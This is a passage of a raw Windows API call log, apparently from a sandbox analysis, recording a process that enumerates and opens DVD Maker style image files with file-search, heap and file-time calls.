hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.159] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.160] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.160] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0245.160] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0245.160] GetLastError () returned 0x12 [0245.160] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.160] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.160] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x929c80) returned 1 [0245.161] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.161] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0245.161] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0245.163] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0245.163] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0245.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9315a0 [0245.163] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9315a0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9315a0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0245.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9315a0) returned 1 [0245.163] NtClose (Handle=0x170) returned 0x0 [0245.163] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926b70) returned 1 [0245.163] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926b70 [0245.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.164] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926ea0 [0245.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.201] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.201] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x929c80 [0245.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926e18) returned 1 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922f98 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92d548 [0245.201] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.201] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.201] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922fb8 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926e18 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotsdarkoverlay.png", cAlternateFileName="")) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922fd8 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92d650 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="dotslightoverlay.png", cAlternateFileName="")) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x922ff8 [0245.202] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92d758 [0245.202] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.202] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6794, dwReserved0=0x0, dwReserved1=0x0, cFileName="full.png", cAlternateFileName="")) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923018 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926fb0 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923038 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92d860 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1bf7c2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1bf7c2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923058 [0245.203] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92d968 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923078 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92da70 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1e591f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f1e591f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x923098 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92db78 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.204] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.204] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9230b8 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92dc80 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9230d8 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92dd88 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9230f8 [0245.205] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x92de90 [0245.205] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.205] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0 [0245.205] GetLastError () returned 0x12 [0245.205] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.206] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f12724e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f12724e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0245.206] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f20ba7c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f20ba7c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d065a03, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11d3, dwReserved0=0x0, 